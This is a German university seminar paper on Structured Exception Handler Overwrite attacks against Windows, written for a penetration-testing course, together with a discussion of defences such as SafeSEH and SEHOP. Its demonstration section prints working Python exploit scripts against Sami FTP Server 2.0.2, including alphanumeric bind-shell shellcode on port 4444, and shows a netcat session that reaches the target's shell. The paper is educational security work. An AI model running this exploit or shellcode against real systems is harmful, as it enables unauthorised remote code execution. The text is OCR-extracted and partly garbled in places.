FR

UNIVERSITY OF APPLIED SCIENCES

DEPARTMENT OF COMPUTER SCIENCE

Seminararbeit

Structured Exception Handler Overwrites

Seminar IT-Sicherheit: Penetration Testing

Eingereicht am:

4. Januar 2017
WS 2016,/2017

Eingereicht von: Betreut von:

Prof. Dr. Gerd Beuster
Fachhochschule Wedel
Feldstrafie 143

22880 Wedel

Telefon: 04103 80-48-38
E-mail: gb@fh-wedel.de

Philipp Normann

E-mail: mail@philipp-normann.de



Inhaltsverzeichnis

Abbildungsverzeichnis 2
1 Einleitung 3
2 Grundlagen 4
2.1  Wie relevant ist diese Sicherheitsliicke? . . . . . . . . .. ... ... ... ... ..., 4
2.2 Pufferiiberlauf . . . . . . . ... 4
2.2.1 Stapelspeicher . . . . . ... )

2.2.2  Uberlaufszenario . . . . . . . . . .. 5

2.3 Was ist eine Exception? . . . . . . .. L L 6
2.4 Structured Exception Handler . . . . . . . . . ... oo 7

3 Theoretischer Exploit 8
3.1 Uberschreiben des Structured Exception Handler Pointers . . . . . .. ... .. ... 8
3.2 Ausfithren von beliebigen Code . . . . . . . . .. .. . o L 9

4 Praktische Demonstration 10
4.1 Immunity Debugger . . . . . . . . . . e 10
4.2 Targetbeschreibung . . . . . . . . . . . . 11
4.3 Sami FTP Server 2.0.2 Buffer-Overflow Sicherheitsliicke . . . . ... ... ... ... 11
4.4 Demonstration eines Structured Exception Handler Overwrite . . . . . . . . . . . .. 12

5 Schutzmechanismen 18
5.1 SafeSEH . . . . . . . . e 18
5.2  Structured Exception Handler Overwrite Protection . . . . .. .. ... ... .... 18
5.3 Antivirenprogramme . . . . . ... oL 19

6 Aktuelles 20
Literatur 21



2.1
2.2
2.3

3.1
3.2
3.3

4.1
4.2
4.3
4.4
4.5
4.6

5.1

6.1

Abbildungsverzeichnis

Darstellung eines Stapelspeicher mit den Funktionen Push und Pop. . . . . . . . .. )
Fin reservierter Puffer wird mit einer zu groflen Datenmenge beschrieben . . . . . . 6
Eine verkettete Liste von Structured Exception Handlern (SEH-Chain) . . . . . . . . 7
Grobe Veranschaulichung eines Structured Exception Overwrites . . . . . .. .. .. 8
Genaue Funktionsweise eines SEHO Exploits mit POP POP RET Sequenz . . . . . 9
Beliebige Codeausfithrung nach Sprung in eigenen Shellcode . . . . . . . .. ... .. 9
Oberfliche des Immunity Debugger . . . . . . . . . .. . .. .. L. 10
Windows Versions Bildschirm der Target-VM . . . . . . .. .. ... .. ... 11
KarjaSoft Sami FTP Server 2.0.2 Oberflache . . . . . . . ... ... ... ... ... 11
Programm ist erfolgreich in die ausgewéhlte POP POP RET Sequenz gesprungen . . 14
Programm steht kurz vor der Ausfithrung des kurzen Sprungs in den Shellcode . . . 15
Fernzugriff durch eine Shell nach einem erfolgreichen Exploit . . . . . .. .. .. .. 17
Symantec behauptet SEHOs zur Laufzeit abzuwehren . . . . . . .. ... ... ... 19
Eine Liste der neusten SEH Exploits auf exploit-db.com . . . . ... ... ... ... 20



Einleitung

Wenn wiahrend der Ausfithrung eines Programms ein Fehler auftritt, wird eine Exception ausgelost.
Unter Windows wird daraufhin in einer Liste von Exception Handlern nach einer passenden Routine
zur Fehlerbehandlung gesucht.

Gelingt es einem Angreifer wiahrend eines Speicheriiberlaufs einen solchen Exception Handler zu
iiberschreiben, kann er die Kontrolle iiber die Ausfithrung des Programms erlangen. Diese Art des
Angriffs wurde erstmalig von David Litchfield von NGS Software in einer Forschungsarbeit, die er
im September 2003[6] veroffentlichte, dokumentiert. Gegeniiber herkémmlichen Speicheriiberlaufs-
Angriffen, bei denen eine Riicksprungadresse einer Funktion iiberschrieben wird, spielt es dabei
keine Rolle, ob Stack Cookies, als Sicherheitsmafinahme, aktiviert sind. Die erhohte Flexibilitéit, die
ein Angreifer dadurch erlangt, machen Structured Exception Handler so interessant.

In den folgenden Kapiteln wird ein Einblick in die genaue Funktionsweise eines solchen Exploits gege-
ben und auf mogliche Gegenmafinahmen hingewiesen, die getroffen werden kénnen, um Programme
gegen solche Angriffe zu schiitzen.



Grundlagen

In dem folgenden Kapitel werden die Grundlagen erldutert, welche zum Versténdnis eines Structured
Exception Handler Overwrite (SEHO) Angriffs benotigt werden. Ein gewisses Grundverstédndnis
itber die Funktionsweise von Computern wird allerdings trotzdem vorausgesetzt.

2.1 Wie relevant ist diese Sicherheitsliicke?

Seit der Verdffentlichung dieser Angriffstechnik im September 2003 von David Litchfield[6] sind
Structured Exception Handler Overwrites zu einer Standardwaffe der Angreifer geworden.

Aus einem Bericht von Microsoft aus dem Jahr 2009 geht hervor, dass etwa 20 % aller Exploits
aus dem Metasploit Framework SEH Overwrites nutzen.[7] Dies ist ein Indiz fiir deren nicht zu
vernachléssigende Relevanz. Aulerdem wird in diesem Bericht auf die immer hiufiger auftretende
Verwendung von SEHOs in diversen Browser Exploits hingewiesen.

Die jedoch wohl am besorgniserregendsten Tatsache ist, dass selbst die neuste Windows Version
(Stand: 01.01.2017, Version 1607, Build 14393.0) in ihrer Standardkonfiguration nicht zuverléssig vor
solchen Angriffen schiitzt. Daher ist die praktische Relevanz dieser Sicherheitsliicke zum Zeitpunkt
der Verfassung dieses Seminars durchaus gegeben.

2.2 Pufferiiberlauf

Einem SEH Overwrite Exploit liegt immer ein Pufferiiberlauf zugrunde. Daher werde ich im folgenden
Abschnitt darauf eingehen wie ein solcher Speicheriiberlauf in einem Computer erméglicht wird und
wie der grundlegende Ablauf dabei aussieht.



2 Grundlagen

2.2.1 Stapelspeicher

Ein Stapelspeicher (Stack) ist eine vom Prozessor bereitgestellte, dynamische Datenstruktur, welche
unter anderem dazu genutzt wird, Hochsprachenkonzepte wie Funktionsaufrufe mit Parametern und
Riickgabewerten zu realisieren. Dabei wird auf den Stapelspeicher im wesentlichen mithilfe von zwei
Befehlen zugegriffen: PUSH wird verwendet um Elemente dem Stack hinzuzufiigen und POP um das
zuletzt hinzugefiigte Element zu entfernen.[5, Section 2.2.1: Stacks, Queues, and Deques|

PUSH POP

Abbildung 2.1: Darstellung eines Stapelspeicher mit den Funktionen Push und Pop

Lokale Variablen werden ebenfalls auf dem Stack abgelegt und bilden in Verbindung mit Puffern die
Grundlage fiir einen stapelbasierten Pufferiiberlauf.

2.2.2 Uberlaufszenario

Ein Pufferiiberlauf entsteht durch einen Fehler im Programm, der es ermoglicht eine zu grofie
Datenmenge in einen dafiir zu kleinen reservierten Puffer zu schreiben. Dies ist nur méglich, wenn
das Programm keine Bereichsiiberpriifungen vornimmt. Dadurch kann eine im Zielspeicher liegende
Speicherstelle {iberschrieben werden. Wie kann man diesen Fehler ausnutzen, um den Programmfluss
einer Anwendung zu beeinflussen? Am besten ldsst sich dies an einem Beispiel veranschaulichen:

char buffer [16];

strepy (buffer ,argv[1]);

Quelltext 2.1: C-Codeschnipsel zur Veranschaulichung einer Pufferiiberlauf Schwachstelle

In dem vorliegenden Programm wird der Inhalt der argv[1] Variable in den buffer geschrieben,
ohne das dabei die Linge des Arrays iiberpriift wird. Die Hauptursache fiir Pufferiiberldufe ist
die Verwendung von systemnahen Programmiersprachen wie C, die keine Moglichkeit bieten, die
Grenzen von Speicherbereichen automatisch zu iiberwachen.

Was passiert nun, wenn die Linge des Inhalts von argv[1] die 16 Byte, die fiir ein 16 char langes
Array in der Regel reserviert werden, iibersteigt?



2 Grundlagen

Saved Frame  Return
pointer Address

char buffer[16]

0x00 OxOF OxFF

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00 OxOF OxFF

Abbildung 2.2: Ein reservierter Puffer wird mit einer zu grolen Datenmenge beschrieben

Wie man sieht wird der Inhalt des Stacks, welcher sich nach der buffer Variable befindet, iiber-
schrieben. Dies konnte ein Angreifer beispielsweise dazu nutzen, um eine Riicksprungadresse zu
iiberschreiben und damit Kontrolle iiber den Programmablauf zu erlangen. Dadurch kénnte er
beliebige Befehle auf der Zielmaschine ausfiihren.[9]

2.3 Was ist eine Exception?

Wenn wihrend eines Programmablaufs ein Fehler auftritt, wird eine Exception ausgelost. Um
diesen Ausnahmezustand zu behandeln gibt es in den meisten Programmiersprachen das Konzept
der Exception Handler. Dies sind Anweisungsblocke oder eigene Funktionen, die versuchen den
aufgetretenen Fehler zu behandeln. Falls kein passender Exception Handler gefunden wird, stiirzt das
Programm ab. In vielen Programmiersprachen wird dieses Konzept in Form von try/catch Blocken
bereitgestellt. Wobei try einen Anweisungsblock enthilt, der eventuell einen Fehler verursachen
kann und der catch Block die jeweilige Exception abféingt und behandelt.[10]

try {

catch (Exception ex) {

Quelltext 2.2: try/catch Blocke als Beispiel fiir Exceptionhandling in Java



2 Grundlagen

2.4 Structured Exception Handler

Windows Systeme verwenden eine Technik namens Structured Exception Handler (SEH) um mit
Programmfehlern wihrend der Laufzeit umzugehen. SEHs haben Ahnlichkeiten mit try/catch
Blocken aus Java: Der Code wird ausgefiihrt und sobald im Programmablauf ein Fehler auftritt wird
die Ausfithrung gestoppt und an den SEH weitergereicht. Jede Funktion kann eigene SEH Eintréige
haben.

Ein SEH Eintrag ist 8 Byte lang und besteht aus einem Pointer zum n#chsten SEH Eintrag (NSEH),
gefolgt von der Speicheradresse des Exception Handlers. Die Liste aller SEH Eintrédge nennt sich
SEH-Chain.[16]

Pointer zum nachsten SEH Record I
SEH Handler

Pointer zum nachsten SEH Record
SEH Handler

FFFFFFFF
SEH Handler

Abbildung 2.3: Eine verkettete Liste von Structured Exception Handlern (SEH-Chain)



Theoretischer Exploit

Nachdem nun die Grundlagen geklart sein sollten, geht es weiter mit einer Erlduterung des allgemeinen
Vorgehens bei einer Durchfithrung eines SEH Overwrites. Auflerdem wird gezeigt, wie ein Angreifer
einen solchen Exploit dazu nutzen kann, um eigenen Shellcode auszufiithren.

3.1 Uberschreiben des Structured Exception Handler Pointers

Um die Kontrolle iiber den Ablauf des Programms zu erlangen, miisste ein Angreifer in der Theorie
nur den SEH Handler mit einer eigenen Speicheradresse iiberschreiben und eine Exception auslésen.
Dazu muss man zuerst mithilfe eines Assembler-Level-Debugger in der Zielanwendung die SEH-
Chain im Speicher auffinden. Die identifizierte Speicheradresse kann genutzt werden, um den Offset
von unserem Attack-String zu bestimmen. Dabei kénnen Tools wie der Immunity Debugger[4] in
Verbindung mit dem mona.py Script[3] enorm hilfreich sein.

Next SEH  SEH

char buffer[16] Pointer Handler

0x00 OxOF OxFF

Jump  POP POP

Front RET Shellcode

AAAAAAAAAAAAAAAAAAAAA

0x00 OxOF OxFF
Abbildung 3.1: Grobe Veranschaulichung eines Structured Exception Overwrites

Nachdem wir nun den Exception Handler iiberschrieben haben, miissen wir noch dafiir sorgen, dass
dieser ausgefiihrt wird. Der einfachste Weg das zu erzwingen ist eine Access-Violation zu erzeugen,
indem wir mithilfe eines sehr langen Attack-Strings den Stack-Frame iiberschreitet.

Eine iibliche Vorgehensweise, um die Ausfithrung in den eigenen Shellcode im Attack-String umzu-
leiten, ist die Verwendung eines sogenannten POP POP RET Gadgets. Diese Methode bedient sich
einer bereits vorhandenen Anweisungssequenz aus einem geladenen Modul, um den Stack Pointer
um 8 Byte zu erhthen und die Speicheradresse, die an dieser Stelle liegt, in den Instruction Pointer
zu laden. Ein solches Vorgehen wird als Return Oriented Programming (ROP) bezeichnet und kann
ebenfalls zur Umgehung von Data Execution Prevention (DEP) verwendet werden. Die Adresse, die
sich an dieser Stelle im Speicher befindet, verweist auf den ersten NSEH Eintrag der SEH-Chain.



3 Theoretischer Exploit

XX XX XX XX 4= ESP vor POP POP RET
XX XX XX XX €= ESP nach POP
Next SEH Pointer 4= ESP nach POP POP
JMP 0x06
St Handler Pointer  jo—» POP EBX
POP EBP
Shellcode RET

Abbildung 3.2: Genaue Funktionsweise eines SEHO Exploits mit POP POP RET Sequenz

3.2 Ausfiihren von beliebigen Code

Dieser Eintrag wird zuvor durch den Uberlauf mit einem JMP Befehl beschrieben, der den Instruc-
tion Pointer um 6 Byte erhcht. Nun hat der Angreifer sein Ziel erreicht und der Shellcode wird
ausgefiihrt.[1]

JMP 0x06
Handler Pointer

J

Shellcode

Stack Frame

Abbildung 3.3: Beliebige Codeausfithrung nach Sprung in eigenen Shellcode

Fertige Shellcodes fiir diverse Zwecke kénnen Angreifer beispielsweise aus dem Metasploit Frame-
work[11] beziehen. Ein prominentes Beispiel, welches hiufig in Proof of Concept Exploits auftaucht,
ist das Binden einer Shell auf einen gewiinschten TCP Port.



Praktische Demonstration

Im folgenden Kapitel geht es darum, die erworbenen theoretische Kenntnisse in die Praxis umzusetzen
und mithilfe eines SEH Overwrites Fernzugriff auf einen gefidhrdeten FTP-Server zu erlangen.

4.1 Immunity Debugger

Zum Debuggen der Zielanwendung auf Assembler Ebene wird der Immunity Debugger verwendet.
Dieser ist speziell fiir die Exploit-Entwicklung optimiert und bietet viele niitzliche Tools zur Analyse
von kompilierter Windows-Software. Auflerdem bietet der Debugger eine umfangreiche Python
Scripting-Anbindung, welche durch das verwendete mona.py Script genutzt wird.

% Imrmunity Debugger - PMSystem.exe - [CPU - thread 0000123C, module ntdll] — >
ﬂFiIE Wiew Debug Plugins ImmlLib  Options Window Help Jobs
OB TE Mx P I WHHEA4 lemtwhcPkbzr.os

M Registers [FFU)

ntdll.

bp 10022ADE

[17:49:831 Procesz terminated, exit code @ Terminated

Abbildung 4.1: Oberfliche des Immunity Debugger
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4 Praktische Demonstration

4.2 Targetbeschreibung

Der Angriff wird auf eine aktuelle Windows VM durchgefiihrt. Dabei sind alle verfiigharen Updates
installiert und der Windows Defender ist aktiviert.

Info X

am Windows10

Microsoft Windows
Version 1607 (Build 14393.0)
© 2016 Microsoft Corporation. Alle Rechte vorbehalten.

Das Betriebssystem Windows 10 Education und die zugehérige
Benutzeroberflache sind durch Marken- und andere rechtsabhéngige bzw.
bestehende gewerbliche Schutz- und Urheberrechte in den Vereinigten
Staaten und anderen Landern geschiitzt.

Dieses Produkt ist unter den Microsoft-Softwarelizenzbedingungen lizenziert fiir:

Windows-Benutzer

Abbildung 4.2: Windows Versions Bildschirm der Target-VM

4.3 Sami FTP Server 2.0.2 Buffer-Overflow Sicherheitsliicke

Bei dem demonstrierten Exploit wird eine bekannte Sicherheitsliicke in der Version 2.0.2 des Sami
FTP Servers[8] ausgenutzt. Sie erméoglicht es einem Angreifer, durch den Login mit einem zu langen
Benutzernamen, einen Pufferiiberlauf auszulosen.

Der Uberlauf tritt auf, sobald die GUI den Log (SamiFTP.binlog) zur Anzeige lidt. Dadurch, dass
die Datei bei jedem Start geladen wird, ist der Angriff solange persistent, bis die entsprechende Datei
entfernt oder geleert wird. In Verbindung mit einem SEH Overwrite ist es moglich, beliebige Befehle
auf der Zielmaschine auszufiihren. Beispielsweise eine Shell auf einen bestimmten Port binden, um
sich aus der Ferne einzuloggen. Die Sicherheitsliicke hat die CVE-ID: CVE-2006-0441[15]

@ Sami FTP Server X
@ fo Eﬂ Statistics | & Users % Settings gg Log
Server activity
e sy ﬂ D
Cument uptime:
Total download speed: 0.00 KB/s
Total upload speed: 0.00 KB/s
User activity
IP
Connection time:
Current directory
Current activity:
Down speed:
Up speed
Kick user Ban user
Help oK | canced | mewy |

Abbildung 4.3: KarjaSoft Sami FTP Server 2.0.2 Oberfliche
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4 Praktische Demonstration

4.4 Demonstration eines Structured Exception Handler Overwrite

Zuerst miissen wir bestimmen, an welchen Stellen im Speicher sich die NSEH und SEH Eintrége
befinden. Dazu l&sst sich mithilfe von !'mona pattern_create 1500 im Immunity Debugger ein
zyklisches Muster mit einer Linge von 1500 Byte erzeugen. Dies kann genutzt werden um die Offsets
zu den Eintrigen herauszufinden.

#!/usr/bin/python
import socket

PAYLOAD =
?Aa0AalAa2Aa3AadAabAa6Aa7Aa8Aa9AbO0AbIAb2Ab3Ab4AbBSAb6AD7TABS8ADBIACO
AclAc2Ac3Ac4AcH5AC6ACTACBACIAJOAdTIAd2Ad3Ad4AdSAd6AdTAAS8AdIAeOAel A
e2Ae3Aed4Ae5Ae6AeTAe8AIAFOAfTIAf2AfZAfAATSAT6ATTAISATIAg0Ag1IAg2Ag
3Agd4AghAg6AgTAg8AgIAhOAhTIAh2Ah3Ah4Ah5Ah6AhTAR8AhIAIOAITAI2AI3AL4
Ai5AI6AITAIBAIIAjJOAJ1IAj2Aj3AjJ4A5A6AjJTAJ8AJIAKOAKTIAK2AK3Ak4AKSA
k6 AkTAKSAKIAIOAITAI2AI3AI4AI5A1I6 A17TAISAI9AMOAMIAM2AM3AM4AMSAmM6AmM
7TAMSAMIANOANTAN2AN3An4An5An6AN7ANSANIA00A01A02A03A04A05A06A07TA0O8
A09APOAP1APp2Ap3Ap4Ap5Ap6APpTAPS8APIAGOAqIAG2Aq3Aq4AqSAq6AqTAGRAQIA
rOAT1AT2Ar3Ar4Ar5AT6 Ar7TATr8 Ar9As0As1As2As3As4As5As6AsTAs8ASIALOAL
1At2At3At4At5At6 AtTAt8AtIAUO0AUTIAu2Au3AudAubAu6Au7Au8AUIAVOAVIAV2
Av3AV4AAV5AVEAVTAVEAVIAWOAWIAW2AWSAWAAWSAWOAWTAWSAWIAXOAXTIAX2AX3A
x4Ax5AX6AXTAX8AxIAYy0Ay1Ay2Ay3Ay4Ay5Ay6AyTAy8Ay9IAz0Az1Az2A2z3Az4Az7
5Az6Az7TAz8 Az9Ba0BalBa2Ba3Ba4BabBa6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6”

S = socket.socket (socket .AF_INET, socket.SOCKSTREAM)
S.connect ((7192.168.1.1077, 21))

S.recv (1024)

S.send ('USER ' + PAYLOAD + ’\r\n’)

S.recv(1024)

S.send ("PASS pwned\r\n’)

S.recv(1024)

S.close ()

Quelltext 4.1: Python Script mit einem zyklischen Muster als User zur Bestimmung der Offsets

Fithrt man !'mona findsmp aus, wihrend das Muster im Speicher liegt, erstellt mona einen umfang-
reichen Bericht iiber alle wichtigen Speicherstellen die es gefunden hat. In unserem Fall erkennt
mona, dass ein NSEH Eintrag an dem Offset 596 von einem Teil des Musters iiberschrieben wurde.

[+] Examining SEH chain
SEH record (mnseh field) at 0x0201fb60 overwritten with normal pattern : 0x39744138 (
offset 596), followed by 1396 bytes of cyclic data after the handler

Quelltext 4.2: Ergebnis von !mona findmsp beziiglich der SEH Eintréige
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4 Praktische Demonstration

Um die bestimmten Offsets der SEH Eintréige zu tiberpriifen, setzten wir an den Stellen in unserer
Payload jeweils 4 ,,B“-chars fiir den NSEH und 4 ,,C“-chars fiir den SEH Eintrag ein und untersuchen
den Stack mithilfe des Immunity Debuggers nach der Ausfiihrung.

#!/usr/bin/python

import socket
OFFSET = A’ % 596 # NSEH at Offset 596
NSEH = 'B’ % 4
SEH = 'C’ x 4

PAYLOAD = OFFSET + NSEH + SEH + "D” x 800

S = socket.socket (socket .AF_INET, socket.SOCKSTREAM)
S.connect ((7192.168.1.107”, 21))

S.recv(1024)

S.send (’USER ’ + PAYLOAD + ’\r\n’)

S.recv(1024)

S.send (’PASS pwned\r\n’)

S.recv (1024)

S.close ()

Quelltext 4.3: Python Script zum gezielten Uberschreiben der NSEH und SEH-Chain

Wie im Stack nach Ausfiihrung des Scripts zu erkennen ist, haben wir die Offsets richtig bestimmt
und erfolgreich die NSEH und SEH Eintrége iiberschrieben.

0205FB58 41414141 AAAA

0205FB5C 41414141 AAAA

0205FB60 42424242 BBBB Pointer to next SEH record
0205FB64 43434343 (CCCC SE handler

0205FB68 44444444 DDDD

0205FB6C 44444444 DDDD

Quelltext 4.4: NSEH und SEH Eintrége wurden erfolgreich im Stack {iberschrieben

Der néchste Schritt ist die Umleitung des Programmflusses in unseren eigenen Shellcode. Dazu
bendtigen wir die Adresse zu einem sogenanntes POP POP RET Gadget aus einer geladenen DLL. Um
diese aufzufinden bietet mona.py ebenfalls einen praktischen Befehl an. 'mona seh durchsucht alle
geladenen DLLs nach moglichen POP POP RET Gadgets und gibt die jeweiligen Speicheradressen aus.
An der Adresse 0x10022ADE in der tmp0.dll von Sami FTP befindet sich eine geeignete Befehlsfolge,
die fiir den folgenden Exploit genutzt wird.

13



4 Praktische Demonstration

Um zu Uberpriifen, ob es uns tatséchlich gelingt, den Programmfluss in unseren Shellcode zu lenken,
werden wir folgendes Skript verwenden.

#!/usr/bin/python
import socket

OFFSET = 'A’ % 596 # NSEH at Offset 596

SEH = ”\xDE\x2A\x02\x10” # 0x10022ADE POP POP RET gadget, tmpO1.dll
NSEH = ”\xeb\x06\x90\x90” # JMP x06 byte into shellcode
SHELLCODE = ’\xcc’ * 500

PAYLOAD = OFFSET + NSEH + SEH + SHELLCODE

s = socket.socket (socket.AF_INET, socket.SOCKSTREAM)
s.connect ((7192.168.1.1077,21))

s.recv(1024)

s.send ( '"USER ’ + PAYLOAD + ’\r\n’)

s

s

s

s

.send

(
s.recv (1024)

(’PASS pwned\r\n’)

(

Quelltext 4.5: Python Script zur Uberpriifung des POP POP RET Gadgets

Vor der Ausfithrung setzten wir mithilfe des Befehls bp 10022ADE in dem Immunity Debugger einen
Breakpoint an der Stelle unseres POP POP RET Gadgets. Fithren wir nun das Script aus, wird
erkenntlich, dass der Breakpoint erfolgreich erreicht wurde und wir kurz davor stehen, unser eigenen
Shellcode auszufiihren. Jetzt kann man mit F7 (Step into) die einzelnen Befehle nacheinander
ausfithren.

@ Immunity Debugger - PMSystem.exe -

[m)
X

File View Debug Plugins ImmLib Options Window Help Jobs

CHTE WX b I L emcwh ook bz .. s 2 I

~ Registers (FPU)

POP EDI
POP ESI

~

s |Module |Active RUPT ENTRY ###

|bp 10022ADE -

Go to address in Disassembler Paused

Abbildung 4.4: Programm ist erfolgreich in die ausgewédhlte POP POP RET Sequenz gesprungen
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4 Praktische Demonstration

Nach der Return Anweisung springt der Instruction Pointer erfolgreich in die Adresse des NSEH
Eintrags, welcher wiederum den Sprungbefehl in den Shellcode enthélt.

€3 Immunity Debugger - PMSystem.exe - X
File View Debug Plugins ImmLib Options Window Help Jobs

O TE «xp 1 MHENEAS 1 emtwhcPkbez . s ? I
€ CPU - thread 000001D8 o -E =]
% AT 8219 A Registers (FPU) € 8 8

FISUBR WORD PTI
OL,BYTE PT

FFFFFFFF)
FFFFFFFF)
FFFFFFFF)

FISUBR WORD PTR DS:[EDX]

fl Address |Hex dump

to ntdl1.777DEF74 fr

pf. 19B22ADE

RETURN to ntc

|bp 10022ADE |

Paused

Abbildung 4.5: Programm steht kurz vor der Ausfithrung des kurzen Sprungs in den Shellcode

Der finale Schritt fiir einen erfolgreichen Exploit ist die Einfiihrung eines eigenen Shellcodes.

15



4 Praktische Demonstration

#!/usr/bin/python
import socket

OFFSET = A’ % 596
SEH = ”\xDE\x2A\x02\x10” # 0x10022ADE POP POP RET Gadget, tmp01.dll
NSEH = ”\xeb\x06\x90\x90” # JMP x06 Byte into shellcode

# fstenv trick to get eip: phrack number 62

# and store it into EAX for the metasploit shell (BufferRegister)
getEIPinEAX = "D9EED934E48B44E40C040b” . decode ( "hex ")

#CPU Disasm

#Hex dump Command

# DI9EE FLDZ

# D934E4 FSTENV SS:[ESP]

# 8B44E4 0C MOV EAX,DWORD PTR SS: [ESP+0C]
# 04 0B ADD AL,0B

# Bind shellcode on port 4444 — alpha mixed BufferRegister=RAX
SHELLCODE = (

getEIPinEAX +

PPYIIIIIIIIIIIIIII7 QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABuJIylm8mRSOUP7p”
7e0K9jEDqYPU4Nk60VPIKCbdLnkbrWdLKgb4hfoNWeczEvdqyoNLElIpaalC2d110kq”
"xO06mEQIWxbjR{22wNkf2201Ksz5INkblrlsHxcsxGqZqcaLKO0YQ05QiCNkCyB8Hc”
"VZ1Ynk5dIKEQyFO1IoNLYQHOvm31yW6X9pRUXvwsSMIhgKqmDdT5KT{8NkaHWTEQ”
?yCavNkDLBkIKbx7lggN3nkC4nkuQXPkIw47TqdskaKsQVIpZPQkOYpcosobzNkWb”
7 8kNmSmbH5cP2COWpu8Qgd3UbCof4e80LD7ev3790yEIxIP31GpWpFIlo4V4bpCXa9”
7op2KePyohURJFhPYOP8bimwOpPGOrpu8xjDOYOipYoiEj7QxWrCO0wa3lmYZFbJDP”
?qFqGCXYRIKDw3WKOZuv7CXNWkYehKOkOiEaGPhD4HIwKm1KOhUQGJ7BHRUpnrmqq”
"Tokee8352McT300yXcQGV767FQIfcZfrvIPVYrImQvKwG4DdelvaGqLM0OD5tDPO6”
?GpRdAOT602vaFF6w666rnqFsf2sPV0Oh2YzleoovYoXUK9kPrnSfPFYo00Ph7xk7wm”
7sPYoKeMkxplulb2vs XoVmEOMomKO9EgL4FCLFjk0YkMO0qgecsMkg7FsD2ROqzGpv3”
"ioJuAA”

)

PAYLOAD = OFFSET + NSEH + SEH + SHELLCODE

s = socket.socket (socket.AF_INET, socket.SOCKSTREAM)
s.connect ((7192.168.1.1057,21))

s.recv(1024)

s.send ('USER ’~ + PAYLOAD + ’\r\n’)

s.recv(1024)

s.send ( '"PASS pwned\r\n’)

s.recv(1024)

s.close ()

Quelltext 4.6: Fertiges Sami FTP Exploit mit Shellcode
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4 Praktische Demonstration

Wenn wir dieses Script nun ausfithren, konnen wir uns mit netcat in die Shell der Zielmaschine
einloggen und beliebige Befehle ausfiithren.

File Machine View Input Devices Help

Rechner

— STANDARD
@ Info ﬁ Stan:mcs‘ 82‘\ Users % Settings Sg Lag’

Server activity

Serveris running |:| .
6s

Curment uptime:
Total download speed 0.00 KB/s
Total upload speed: 0.00 KB/s

User activity
IP

Connection time:
Cument directory:
Cument activity:

Down speed:

Up speed

philnor@debian: ~/NEWcloud/Studium/IT-Sicherheit Seminar

File Edit View Search Terminal Help
philnor@debian: $ python fromscratch.py
philnor@debian: $ nc 192.168.56.101 4444

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Program Files\PMSystem\Plugins\Sami FTP Server>calc.exe
calc.exe

Abbildung 4.6: Fernzugriff durch eine Shell nach einem erfolgreichen Exploit
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Schutzmechanismen

5.1 SafeSEH

Microsoft hat mit Windows Server 2003 und XP SP2 eine Schutzmafinahme integriert, welche es
verhindern soll, dass die Adressen der SEHs iiberschrieben werden koénnen. Dies wird erzielt, indem
wéhrend des Linkprozesses eines Programms eine Liste von sicheren Exception Handler Adressen in
das Image geschrieben wird. Falls eine Exception zur Laufzeit auftritt, iberpriift das Betriebssystem,
ob die Adresse des Exception Handlers in der Liste der sicheren Adressen enthalten ist und bricht
im Falle einer fehlerhaften Adresse das Programm ab.

Versucht beispielsweise ein Angreifer, eine Adresse zu einem POP POP RET Gadget in den SEH
Eintrag zu schreiben, wiirde das Betriebssystem vor der Ausfithrung erkennen, dass diese Adresse
nicht in der Liste der sicheren Exception Handler vorkommt und wiirde daraufhin das Programm
beenden.

Diese Schutzmafinahme ist jedoch nur unter der Bedingung wirksam, dass alle der geladenen Module
mit SafeSEH kompiliert wurden. Ansonsten ist ein Sprung in diese unabgesicherten Module ohne
weiteres moglich.[2]

5.2 Structured Exception Handler Overwrite Protection

Seit Windows Vista SP1 bzw. Server 2008 enthélt das Betriebssystem eine weitere Sicherheitsvor-
kehrung, um das Manipulieren von SEH-Chains zu erschweren. SEHOP stellt eine Erweiterung der
Structured Exception Handlings dar und implementiert weitere Sicherheitsiiberpriifungen fiir die
SEH Strukturen, welche in einem Programm genutzt werden.

Der von SEHOP verwendete Validierungs-Algorithmus wurde von Alexander Sotirov im Rahmen
von Black Hat (einer Infosec Konferenz) im Jahr 2008 veroffentlicht.[12]
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5 Schutzmechanismen

Aus dem Quelltext geht hervor, dass folgende Bedingungen erfiillt sein miissen, damit eine Adresse
als valide Exception anerkannt und ausgefiihrt wird[14]:

e Die Seite muss ausfithrbar sein.

e Die SEH-Chain muss mit einer speziellen SEH Struktur enden (NSEH = OxFFFFFFFF und SEH
= ntdll!FinalExceptionHandler).

e Alle SEH Strukturen miissen mit 4-Byte im Speicher ausgerichtet sein.

e Alle SEH Pointer miissen auf den Stack zeigen.

Diese Uberpriifungen in Verbindung mit DEP und ASLR erschweren es Angreifern enorm, SEH
Overwrites durchzufithren. Problematisch ist jedoch, dass dieses Feature nur unter den Server Versio-
nen standardméBig aktiviert ist. Der Grund hierfiir ist laut Microsoft die mangelhafte Kompatibilitét
mit einigen Anwendungen.

5.3 Antivirenprogramme

Auch Antivirenprogramm-Hersteller werben damit, dass ihre Produkte Angriffe wie SEHOs zuver-
lassig verhindern kénnen.[13]

Attack: Structured Exception Handler Overwrite
Severity: High
This attack could pose a serious security threat. You should take immediate action to stop any damage or prevent further damage from happening.

Description
Exploit protection detected an attempt to overwrite structured exception handling addresses in order to execute arbitrary code.

Additional Information
Structured exception handling exploits compromise an application by overwriting the pointer of an exception handler with an attacker controlled address.

Affected
= All applications.

Response
No further action is required. Exploit prevention blocked the attack attempt by terminating the compromised application.

v Symantec.

Abbildung 5.1: Symantec behauptet SEHOs zur Laufzeit abzuwehren

Die Funktionsweise dieser Programme wurde nicht veroffentlicht. Vermutlich fithren sie dhnliche
dynamische Uberpriifungen zur Laufzeit durch, wie es auch SEHOP von Microsoft tut.
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Aktuelles

In den letzten Jahren wurden SEHO Exploits in namenhafter Software immer seltener. Das liegt
hauptséchlich an der weiten Verbreitung von SafeSEH. Trotzdem tauchen immer neue Exploits
auf und die Tatsache, dass veraltete Software (ohne SafeSEH) auf aktuellen Systemen immer noch
kompatibel ist, tréagt dazu bei.

EXPLOIT

anABISE Home Exploits Shellcode Papers Google Hacking Database Submit Search

™ SEARCH
SEH \/ I'm not a robot Ko

reCAPTCHA

459 total entries
<< prevll 2345678910 next >

Date v D V Title Platform Author
2017-01-02 & f_l «” Internet Download Accelerator 6.10.1.1527 - FTP Buffer Overflow (SEH) Windows Fady Mohammed
